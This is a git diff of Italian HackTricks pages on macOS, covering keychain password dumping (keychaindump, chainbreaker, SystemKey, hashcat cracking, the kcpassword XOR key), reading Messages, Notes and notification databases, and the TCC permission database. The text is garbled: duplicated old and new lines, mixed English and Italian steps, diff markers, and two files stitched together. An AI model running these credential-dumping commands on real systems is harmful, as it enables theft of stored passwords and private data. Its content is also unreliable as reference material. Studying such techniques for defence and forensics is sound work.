È stato sviluppato uno strumento chiamato **keychaindump** per estrarre le password dalle chiavi di macOS, ma presenta limitazioni nelle versioni più recenti di macOS come Big Sur, come indicato in una [discussione](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760). L'uso di **keychaindump** richiede all'attaccante di ottenere l'accesso e l'escalation dei privilegi a **root**. Lo strumento sfrutta il fatto che la chiave sia sbloccata di default al momento del login dell'utente per comodità, consentendo alle applicazioni di accedervi senza richiedere ripetutamente la password dell'utente. Tuttavia, se un utente sceglie di bloccare la propria chiave dopo ogni utilizzo, **keychaindump** diventa inefficace.
|
||||
Uno strumento chiamato **keychaindump** è stato sviluppato per estrarre password dalle chiavi di macOS, ma presenta limitazioni sulle versioni più recenti di macOS come Big Sur, come indicato in una [discussione](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760). L'uso di **keychaindump** richiede che l'attaccante ottenga accesso ed elevi i privilegi a **root**. Lo strumento sfrutta il fatto che la chiave sia sbloccata per impostazione predefinita all'avvio dell'utente per comodità, consentendo alle applicazioni di accedervi senza richiedere ripetutamente la password dell'utente. Tuttavia, se un utente sceglie di bloccare la propria chiave dopo ogni utilizzo, **keychaindump** diventa inefficace.
|
||||
|
||||
**Keychaindump** opera mirando a un processo specifico chiamato **securityd**, descritto da Apple come un demone per operazioni di autorizzazione e crittografia, fondamentale per accedere alla chiave. Il processo di estrazione prevede l'individuazione di una **Master Key** derivata dalla password di accesso dell'utente. Questa chiave è essenziale per leggere il file della chiave. Per individuare la **Master Key**, **keychaindump** analizza l'heap di memoria di **securityd** utilizzando il comando `vmmap`, cercando possibili chiavi all'interno delle aree contrassegnate come `MALLOC_TINY`. Il seguente comando viene utilizzato per ispezionare queste posizioni di memoria:
|
||||
**Keychaindump** opera prendendo di mira un processo specifico chiamato **securityd**, descritto da Apple come un demone per operazioni di autorizzazione e crittografia, fondamentale per accedere alla chiave. Il processo di estrazione coinvolge l'individuazione di una **Chiave Principale** derivata dalla password di accesso dell'utente. Questa chiave è essenziale per leggere il file della chiave. Per individuare la **Chiave Principale**, **keychaindump** esamina l'heap di memoria di **securityd** utilizzando il comando `vmmap`, cercando potenziali chiavi nelle aree contrassegnate come `MALLOC_TINY`. Il seguente comando viene utilizzato per ispezionare queste posizioni di memoria:
|
||||
```bash
|
||||
sudo vmmap <securityd PID> | grep MALLOC_TINY
|
||||
```
|
||||
Dopo aver identificato le potenziali chiavi principali, **keychaindump** cerca tra gli heap un pattern specifico (`0x0000000000000018`) che indica un candidato per la chiave principale. Sono necessari ulteriori passaggi, inclusa la deobfuscation, per utilizzare questa chiave, come descritto nel codice sorgente di **keychaindump**. Gli analisti che si concentrano su questa area dovrebbero notare che i dati cruciali per decrittare il portachiavi sono memorizzati nella memoria del processo **securityd**. Un esempio di comando per eseguire **keychaindump** è:
|
||||
Dopo aver identificato le potenziali chiavi principali, **keychaindump** cerca tra gli heap un pattern specifico (`0x0000000000000018`) che indica un candidato per la chiave principale. Sono necessari ulteriori passaggi, inclusa la deobfuscation, per utilizzare questa chiave, come descritto nel codice sorgente di **keychaindump**. Gli analisti che si concentrano su questa area dovrebbero notare che i dati cruciali per decrittare il portachiavi sono memorizzati all'interno della memoria del processo **securityd**. Un esempio di comando per eseguire **keychaindump** è:
|
||||
```bash
|
||||
sudo ./keychaindump
|
||||
```
|
||||
### chainbreaker
|
||||
|
||||
[**Chainbreaker**](https://github.com/n0fate/chainbreaker) può essere utilizzato per estrarre i seguenti tipi di informazioni da un keychain di OSX in modo forense:
|
||||
[**Chainbreaker**](https://github.com/n0fate/chainbreaker) può essere utilizzato per estrarre i seguenti tipi di informazioni da un portachiavi OSX in modo forense:
|
||||
|
||||
* Password del keychain hashata, adatta per essere craccata con [hashcat](https://hashcat.net/hashcat/) o [John the Ripper](https://www.openwall.com/john/)
|
||||
* Password di Internet
|
||||
* Password del portachiavi hashata, adatta per il cracking con [hashcat](https://hashcat.net/hashcat/) o [John the Ripper](https://www.openwall.com/john/)
|
||||
* Password Internet
|
||||
* Password generiche
|
||||
* Chiavi private
|
||||
* Chiavi pubbliche
|
||||
* Certificati X509
|
||||
* Note sicure
|
||||
* Password di Appleshare
|
||||
* Password Appleshare
|
||||
|
||||
Con la password di sblocco del keychain, una chiave principale ottenuta utilizzando [volafox](https://github.com/n0fate/volafox) o [volatility](https://github.com/volatilityfoundation/volatility), o un file di sblocco come SystemKey, Chainbreaker fornirà anche le password in chiaro.
|
||||
Con la password di sblocco del portachiavi, una chiave principale ottenuta utilizzando [volafox](https://github.com/n0fate/volafox) o [volatility](https://github.com/volatilityfoundation/volatility), o un file di sblocco come SystemKey, Chainbreaker fornirà anche le password in chiaro.
|
||||
|
||||
Senza uno di questi metodi per sbloccare il Keychain, Chainbreaker mostrerà tutte le altre informazioni disponibili.
|
||||
Senza uno di questi metodi per sbloccare il portachiavi, Chainbreaker visualizzerà tutte le altre informazioni disponibili.
|
||||
|
||||
#### **Dump delle chiavi del keychain**
|
||||
#### **Dump keychain keys**
|
||||
```bash
|
||||
#Dump all keys of the keychain (without the passwords)
|
||||
python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain
|
||||
```
|
||||
#### **Dump delle chiavi del portachiavi (con password) con SystemKey**
|
||||
|
||||
To dump the keychain keys (including passwords) using SystemKey, follow these steps:
|
||||
|
||||
Per effettuare il dump delle chiavi del portachiavi (inclusi le password) utilizzando SystemKey, seguire i seguenti passaggi:
|
||||
|
||||
1. Download and compile the SystemKey tool from the official repository.
|
||||
|
||||
Scaricare e compilare lo strumento SystemKey dal repository ufficiale.
|
||||
|
||||
2. Run the SystemKey tool with the appropriate command-line options to dump the keychain keys.
|
||||
|
||||
Eseguire lo strumento SystemKey con le opportune opzioni della riga di comando per effettuare il dump delle chiavi del portachiavi.
|
||||
|
||||
3. The tool will extract the keychain keys, including any associated passwords, and save them to a file.
|
||||
|
||||
Lo strumento estrarrà le chiavi del portachiavi, inclusa qualsiasi password associata, e le salverà in un file.
|
||||
|
||||
By following these steps, you can successfully dump the keychain keys, including passwords, using the SystemKey tool.
|
||||
|
||||
Seguendo questi passaggi, è possibile effettuare con successo il dump delle chiavi del portachiavi, inclusi le password, utilizzando lo strumento SystemKey.
|
||||
#### **Scaricare le chiavi del portachiavi (con le password) con SystemKey**
|
||||
```bash
|
||||
# First, get the keychain decryption key
|
||||
# To get this decryption key you need to be root and SIP must be disabled
|
||||
|
@ -116,17 +96,7 @@ hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey && echo
|
|||
## Use the previous key to decrypt the passwords
|
||||
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
|
||||
```
|
||||
#### **Dump delle chiavi del portachiavi (con password) rompendo l'hash**
|
||||
|
||||
To dump the keychain keys with passwords, you can use the following steps:
|
||||
|
||||
1. First, obtain the hash of the keychain password. This can be done by extracting the hash from the appropriate file or by using a tool like `securitydumper`.
|
||||
|
||||
2. Once you have the hash, you can crack it using a password cracking tool such as `John the Ripper` or `Hashcat`. These tools use various techniques like brute-forcing or dictionary attacks to crack the hash and reveal the original password.
|
||||
|
||||
3. After cracking the hash, you can use the obtained password to decrypt and access the keychain keys. This can be done using tools like `security` or by writing a custom script.
|
||||
|
||||
It is important to note that cracking the hash and accessing the keychain keys without proper authorization is illegal and unethical. This technique should only be used for legitimate purposes, such as recovering lost passwords or conducting authorized security assessments.
|
||||
#### **Dump delle chiavi del portachiavi (con password) per crackare l'hash**
|
||||
```bash
|
||||
# Get the keychain hash
|
||||
python2.7 chainbreaker.py --dump-keychain-password-hash /Library/Keychains/System.keychain
|
||||
|
@ -135,9 +105,9 @@ hashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt
|
|||
# Use the key to decrypt the passwords
|
||||
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
|
||||
```
|
||||
#### **Dump delle chiavi del portachiavi (con password) con il dump della memoria**
|
||||
#### **Dump delle chiavi del portachiavi (con password) con dump di memoria**
|
||||
|
||||
[Seguire questi passaggi](..#dumping-memory-with-osxpmem) per eseguire un **dump della memoria**
|
||||
[Seguire questi passaggi](../#dumping-memory-with-osxpmem) per eseguire un **dump di memoria**
|
||||
```bash
|
||||
#Use volafox (https://github.com/n0fate/volafox) to extract possible keychain passwords
|
||||
# Unformtunately volafox isn't working with the latest versions of MacOS
|
||||
|
@ -146,21 +116,21 @@ python vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump
|
|||
#Try to extract the passwords using the extracted keychain passwords
|
||||
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
|
||||
```
|
||||
#### **Dump delle chiavi del portachiavi (con password) utilizzando la password dell'utente**
|
||||
#### **Scaricare le chiavi del portachiavi (con le password) utilizzando la password dell'utente**
|
||||
|
||||
Se conosci la password dell'utente, puoi utilizzarla per **effettuare il dump e decrittare i portachiavi che appartengono all'utente**.
|
||||
Se conosci la password dell'utente, puoi utilizzarla per **scaricare e decrittografare i portachiavi che appartengono all'utente**.
|
||||
```bash
|
||||
#Prompt to ask for the password
|
||||
python2.7 chainbreaker.py --dump-all --password-prompt /Users/<username>/Library/Keychains/login.keychain-db
|
||||
```
|
||||
### kcpassword
|
||||
|
||||
Il file **kcpassword** è un file che contiene la **password di accesso dell'utente**, ma solo se il proprietario del sistema ha **abilitato l'accesso automatico**. Pertanto, l'utente verrà automaticamente connesso senza dover inserire una password (cosa non molto sicura).
|
||||
Il file **kcpassword** è un file che contiene la **password di accesso dell'utente**, ma solo se il proprietario del sistema ha **abilitato l'accesso automatico**. Pertanto, l'utente verrà automaticamente effettuato il login senza essere richiesto di inserire una password (il che non è molto sicuro).
|
||||
|
||||
La password viene memorizzata nel file **`/etc/kcpassword`** xored con la chiave **`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`**. Se la password dell'utente è più lunga della chiave, la chiave verrà riutilizzata.\
|
||||
La password è memorizzata nel file **`/etc/kcpassword`** xored con la chiave **`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`**. Se la password degli utenti è più lunga della chiave, la chiave verrà riutilizzata.\
|
||||
Ciò rende la password piuttosto facile da recuperare, ad esempio utilizzando script come [**questo**](https://gist.github.com/opshope/32f65875d45215c3677d).
|
||||
|
||||
## Informazioni interessanti nei database
|
||||
## Informazioni Interessanti nei Database
|
||||
|
||||
### Messaggi
|
||||
```bash
|
||||
|
@ -172,15 +142,17 @@ sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets'
|
|||
```
|
||||
### Notifiche
|
||||
|
||||
Puoi trovare i dati delle notifiche in `$(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/`
|
||||
Puoi trovare i dati delle Notifiche in `$(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/`
|
||||
|
||||
La maggior parte delle informazioni interessanti si troveranno nel **blob**. Quindi dovrai **estrarre** quel contenuto e **trasformarlo** in un formato **leggibile** dall'utente o utilizzare **`strings`**. Per accedervi puoi fare:
|
||||
La maggior parte delle informazioni interessanti si troverà nel **blob**. Quindi dovrai **estrarre** quel contenuto e **trasformarlo** in un formato **leggibile** per l'utente o utilizzare **`strings`**. Per accedervi puoi fare:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
cd $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/
|
||||
strings $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/db2/db | grep -i -A4 slack
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Note
|
||||
|
||||
Le note degli utenti possono essere trovate in `~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite`
|
||||
|
@ -194,16 +166,61 @@ for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.s
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
<details>
|
||||
## Preferenze
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
Nelle app macOS le preferenze si trovano in **`$HOME/Library/Preferences`** e in iOS sono in `/var/mobile/Containers/Data/Application/<UUID>/Library/Preferences`.
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
In macOS lo strumento cli **`defaults`** può essere utilizzato per **modificare il file delle preferenze**.
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
**`/usr/sbin/cfprefsd`** gestisce i servizi XPC `com.apple.cfprefsd.daemon` e `com.apple.cfprefsd.agent` e può essere chiamato per eseguire azioni come modificare le preferenze.
|
||||
|
||||
</details>
|
||||
## Notifiche di Sistema
|
||||
|
||||
### Notifiche Darwin
|
||||
|
||||
Il daemon principale per le notifiche è **`/usr/sbin/notifyd`**. Per ricevere notifiche, i client devono registrarsi attraverso la porta Mach `com.apple.system.notification_center` (verificarli con `sudo lsmp -p <pid notifyd>`). Il daemon è configurabile con il file `/etc/notify.conf`.
|
||||
|
||||
I nomi utilizzati per le notifiche sono notazioni univoche DNS inverse e quando viene inviata una notifica a uno di essi, il/i client che hanno indicato di poterla gestire la riceveranno.
|
||||
|
||||
È possibile visualizzare lo stato attuale (e vedere tutti i nomi) inviando il segnale SIGUSR2 al processo notifyd e leggendo il file generato: `/var/run/notifyd_<pid>.status`:
|
||||
```bash
|
||||
ps -ef | grep -i notifyd
|
||||
0 376 1 0 15Mar24 ?? 27:40.97 /usr/sbin/notifyd
|
||||
|
||||
sudo kill -USR2 376
|
||||
|
||||
cat /var/run/notifyd_376.status
|
||||
[...]
|
||||
pid: 94379 memory 5 plain 0 port 0 file 0 signal 0 event 0 common 10
|
||||
memory: com.apple.system.timezone
|
||||
common: com.apple.analyticsd.running
|
||||
common: com.apple.CFPreferences._domainsChangedExternally
|
||||
common: com.apple.security.octagon.joined-with-bottle
|
||||
[...]
|
||||
```
|
||||
### Centro Notifiche Distribuito
|
||||
|
||||
Il **Centro Notifiche Distribuito** il cui principale binario è **`/usr/sbin/distnoted`**, è un altro modo per inviare notifiche. Espone alcuni servizi XPC e effettua alcuni controlli per cercare di verificare i client.
|
||||
|
||||
### Notifiche Push di Apple (APN)
|
||||
|
||||
In questo caso, le applicazioni possono registrarsi per **argomenti**. Il client genererà un token contattando i server di Apple tramite **`apsd`**.\
|
||||
Successivamente, i fornitori avranno generato anche un token e saranno in grado di connettersi ai server di Apple per inviare messaggi ai client. Questi messaggi verranno ricevuti localmente da **`apsd`** che inoltrerà la notifica all'applicazione in attesa di riceverla.
|
||||
|
||||
Le preferenze sono situate in `/Library/Preferences/com.apple.apsd.plist`.
|
||||
|
||||
Vi è un database locale di messaggi situato in macOS in `/Library/Application\ Support/ApplePushService/aps.db` e in iOS in `/var/mobile/Library/ApplePushService`. Esso ha 3 tabelle: `incoming_messages`, `outgoing_messages` e `channel`.
|
||||
```bash
|
||||
sudo sqlite3 /Library/Application\ Support/ApplePushService/aps.db
|
||||
```
|
||||
È anche possibile ottenere informazioni sul daemon e sulle connessioni utilizzando:
|
||||
```bash
|
||||
/System/Library/PrivateFrameworks/ApplePushService.framework/apsctl status
|
||||
```
|
||||
## Notifiche per l'utente
|
||||
|
||||
Queste sono le notifiche che l'utente dovrebbe vedere sullo schermo:
|
||||
|
||||
* **`CFUserNotification`**: Questa API fornisce un modo per mostrare sullo schermo un popup con un messaggio.
|
||||
* **Il Bulletin Board**: Questo mostra in iOS un banner che scompare e verrà memorizzato nel Notification Center.
|
||||
* **`NSUserNotificationCenter`**: Questo è il bulletin board di iOS in MacOS. Il database con le notifiche si trova in `/var/folders/<user temp>/0/com.apple.notificationcenter/db2/db`
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
## **Informazioni di Base**
|
||||
|
||||
**TCC (Trasparenza, Consenso e Controllo)** è un protocollo di sicurezza che si concentra sulla regolamentazione delle autorizzazioni delle applicazioni. Il suo ruolo principale è quello di proteggere funzionalità sensibili come **servizi di localizzazione, contatti, foto, microfono, fotocamera, accessibilità e accesso completo al disco**. Obbligando il consenso esplicito dell'utente prima di concedere l'accesso dell'applicazione a questi elementi, TCC migliora la privacy e il controllo dell'utente sui propri dati.
|
||||
**TCC (Trasparenza, Consenso e Controllo)** è un protocollo di sicurezza che si concentra sulla regolamentazione delle autorizzazioni delle applicazioni. Il suo ruolo principale è quello di proteggere funzionalità sensibili come **servizi di localizzazione, contatti, foto, microfono, fotocamera, accessibilità e accesso completo al disco**. Obbligando il consenso esplicito dell'utente prima di concedere all'applicazione l'accesso a questi elementi, TCC migliora la privacy e il controllo dell'utente sui propri dati.
|
||||
|
||||
Gli utenti si trovano di fronte a TCC quando le applicazioni richiedono l'accesso a funzionalità protette. Questo è visibile attraverso un prompt che consente agli utenti di **approvare o negare l'accesso**. Inoltre, TCC supporta azioni dirette dell'utente, come **trascinare e rilasciare file in un'applicazione**, per concedere l'accesso a file specifici, garantendo che le applicazioni abbiano accesso solo a ciò che è esplicitamente consentito.
|
||||
|
||||
|
@ -27,41 +27,39 @@ Gli utenti si trovano di fronte a TCC quando le applicazioni richiedono l'access
|
|||
C'è un **tccd in modalità utente** in esecuzione per ogni utente loggato definito in `/System/Library/LaunchAgents/com.apple.tccd.plist` registrando i servizi mach `com.apple.tccd` e `com.apple.usernotifications.delegate.com.apple.tccd`.
|
||||
|
||||
Qui puoi vedere il tccd in esecuzione come sistema e come utente:
|
||||
|
||||
```bash
|
||||
ps -ef | grep tcc
|
||||
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
|
||||
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
|
||||
```
|
||||
|
||||
Le autorizzazioni sono **ereditate dall'applicazione genitore** e le **autorizzazioni** sono **tracciate** in base all'**ID Bundle** e all'**ID Sviluppatore**.
|
||||
|
||||
### Database TCC
|
||||
|
||||
Le autorizzazioni/negazioni vengono quindi memorizzate in alcuni database TCC:
|
||||
Le autorizzazioni/negazioni sono poi memorizzate in alcuni database TCC:
|
||||
|
||||
* Il database a livello di sistema in **`/Library/Application Support/com.apple.TCC/TCC.db`**.
|
||||
* Questo database è **protetto da SIP**, quindi solo un bypass di SIP può scriverci.
|
||||
* Il database utente TCC **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** per le preferenze per utente.
|
||||
* Questo database è protetto, quindi solo i processi con privilegi TCC elevati come l'Accesso Completo al Disco possono scriverci (ma non è protetto da SIP).
|
||||
- Il database a livello di sistema in **`/Library/Application Support/com.apple.TCC/TCC.db`**.
|
||||
- Questo database è **protetto da SIP**, quindi solo un bypass di SIP può scriverci.
|
||||
- Il database TCC dell'utente **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** per le preferenze per utente.
|
||||
- Questo database è protetto, quindi solo i processi con privilegi TCC elevati come l'Accesso Completo al Disco possono scriverci (ma non è protetto da SIP).
|
||||
|
||||
{% hint style="warning" %}
|
||||
I database precedenti sono anche **protetti da TCC per l'accesso in lettura**. Quindi **non sarai in grado di leggere** il tuo database TCC utente regolare a meno che non sia da un processo con privilegi TCC.
|
||||
|
||||
Tuttavia, ricorda che un processo con questi privilegi elevati (come **FDA** o **`kTCCServiceEndpointSecurityClient`**) sarà in grado di scrivere nel database TCC degli utenti.
|
||||
Tuttavia, ricorda che un processo con questi alti privilegi (come **FDA** o **`kTCCServiceEndpointSecurityClient`**) sarà in grado di scrivere nel database TCC degli utenti.
|
||||
{% endhint %}
|
||||
|
||||
* C'è un **terzo** database TCC in **`/var/db/locationd/clients.plist`** per indicare i clienti autorizzati ad **accedere ai servizi di localizzazione**.
|
||||
* Il file protetto da SIP **`/Users/carlospolop/Downloads/REG.db`** (anche protetto dall'accesso in lettura con TCC), contiene la **posizione** di tutti i **database TCC validi**.
|
||||
* Il file protetto da SIP **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (anche protetto dall'accesso in lettura con TCC), contiene più autorizzazioni concesse da TCC.
|
||||
* Il file protetto da SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (ma leggibile da chiunque) è un elenco di applicazioni che richiedono un'eccezione TCC.
|
||||
- C'è un **terzo** database TCC in **`/var/db/locationd/clients.plist`** per indicare i clienti autorizzati ad **accedere ai servizi di localizzazione**.
|
||||
- Il file protetto da SIP **`/Users/carlospolop/Downloads/REG.db`** (anche protetto dall'accesso in lettura con TCC), contiene la **posizione** di tutti i **database TCC validi**.
|
||||
- Il file protetto da SIP **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (anche protetto dall'accesso in lettura con TCC), contiene più autorizzazioni concesse da TCC.
|
||||
- Il file protetto da SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (ma leggibile da chiunque) è un elenco di applicazioni che richiedono un'eccezione TCC.
|
||||
|
||||
{% hint style="success" %}
|
||||
Il database TCC in **iOS** si trova in **`/private/var/mobile/Library/TCC/TCC.db`**
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Il **centro notifiche UI** può apportare **modifiche nel database TCC di sistema**:
|
||||
L'**interfaccia utente del centro notifiche** può apportare **modifiche nel database TCC di sistema**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -72,7 +70,7 @@ com.apple.rootless.storage.TCC
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Tuttavia, gli utenti possono **eliminare o interrogare le regole** con l'utilità da riga di comando **`tccutil`**.
|
||||
Tuttavia, gli utenti possono **eliminare o interrogare regole** con l'utilità a riga di comando **`tccutil`**.
|
||||
{% endhint %}
|
||||
|
||||
#### Interrogare i database
|
||||
|
@ -99,8 +97,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
|||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="sistema DB" %}
|
||||
{% code overflow="wrap" %}
|
||||
{% tab title="database di sistema" %}
|
||||
```bash
|
||||
sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db
|
||||
sqlite> .schema
|
||||
|
@ -125,7 +122,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
|||
{% endtabs %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Controllando entrambi i database è possibile verificare i permessi che un'app ha consentito, ha vietato o non ha (chiederà di concederlo).
|
||||
Controllando entrambi i database è possibile verificare i permessi che un'app ha consentito, ha vietato o non ha (chiederà il permesso).
|
||||
{% endhint %}
|
||||
|
||||
* Il **`servizio`** è la rappresentazione in stringa del **permesso** TCC
|
||||
|
@ -137,7 +134,6 @@ Controllando entrambi i database è possibile verificare i permessi che un'app h
|
|||
<summary>Come eseguire se è un percorso assoluto</summary>
|
||||
|
||||
Basta fare **`launctl load your_bin.plist`**, con un plist come:
|
||||
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -174,13 +170,11 @@ Basta fare **`launctl load your_bin.plist`**, con un plist come:
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
* Il campo **`auth_value`** può avere valori diversi: denied(0), unknown(1), allowed(2), o limited(3).
|
||||
* Il campo **`auth_reason`** può assumere i seguenti valori: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
|
||||
* Il campo **csreq** serve per indicare come verificare il binario da eseguire e concedere i permessi TCC:
|
||||
|
||||
```bash
|
||||
# Query to get cserq in printable hex
|
||||
select service, client, hex(csreq) from access where auth_value=2;
|
||||
|
@ -196,7 +190,6 @@ echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
|
|||
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
|
||||
echo "X'$REQ_HEX'"
|
||||
```
|
||||
|
||||
* Per ulteriori informazioni sui **altri campi** della tabella [**controlla questo post sul blog**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive).
|
||||
|
||||
Puoi anche controllare le **autorizzazioni già fornite** alle app in `Preferenze di Sistema --> Sicurezza e Privacy --> Privacy --> File e Cartelle`.
|
||||
|
@ -206,7 +199,6 @@ Gli utenti _possono_ **eliminare o interrogare regole** utilizzando **`tccutil`*
|
|||
{% endhint %}
|
||||
|
||||
#### Reimposta le autorizzazioni TCC
|
||||
|
||||
```bash
|
||||
# You can reset all the permissions given to an application with
|
||||
tccutil reset All app.some.id
|
||||
|
@ -214,12 +206,9 @@ tccutil reset All app.some.id
|
|||
# Reset the permissions granted to all apps
|
||||
tccutil reset All
|
||||
```
|
||||
|
||||
### Controlli delle firme TCC
|
||||
|
||||
Il **database** TCC memorizza l'**ID Bundle** dell'applicazione, ma memorizza anche **informazioni** sulla **firma** per **assicurarsi** che l'applicazione che richiede di utilizzare un permesso sia quella corretta.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Il **database** TCC memorizza il **Bundle ID** dell'applicazione, ma memorizza anche **informazioni** sulla **firma** per **assicurarsi** che l'app che richiede di utilizzare un permesso sia quella corretta.
|
||||
```bash
|
||||
# From sqlite
|
||||
sqlite> select service, client, hex(csreq) from access where auth_value=2;
|
||||
|
@ -239,13 +228,12 @@ Pertanto, altre applicazioni che utilizzano lo stesso nome e ID bundle non saran
|
|||
|
||||
### Autorizzazioni e Permessi TCC
|
||||
|
||||
Le app **non solo devono** richiedere e ottenere **accesso** a determinate risorse, ma devono anche **avere le autorizzazioni pertinenti**.\
|
||||
Ad esempio, **Telegram** ha l'autorizzazione `com.apple.security.device.camera` per richiedere **accesso alla fotocamera**. Un'applicazione che **non** ha questa **autorizzazione non potrà** accedere alla fotocamera (e all'utente non verrà nemmeno chiesto il permesso).
|
||||
Le app **non solo devono** richiedere e ottenere l'accesso a determinate risorse, ma devono anche **avere le autorizzazioni pertinenti**.\
|
||||
Ad esempio, **Telegram** ha l'autorizzazione `com.apple.security.device.camera` per richiedere **l'accesso alla fotocamera**. Un'applicazione che **non ha** questa **autorizzazione non potrà** accedere alla fotocamera (e all'utente non verrà nemmeno chiesto il permesso).
|
||||
|
||||
Tuttavia, per le app che devono **accedere** a **determinate cartelle dell'utente**, come `~/Desktop`, `~/Downloads` e `~/Documents`, non è necessario avere autorizzazioni **specifiche.** Il sistema gestirà l'accesso in modo trasparente e **chiederà all'utente** quando necessario.
|
||||
|
||||
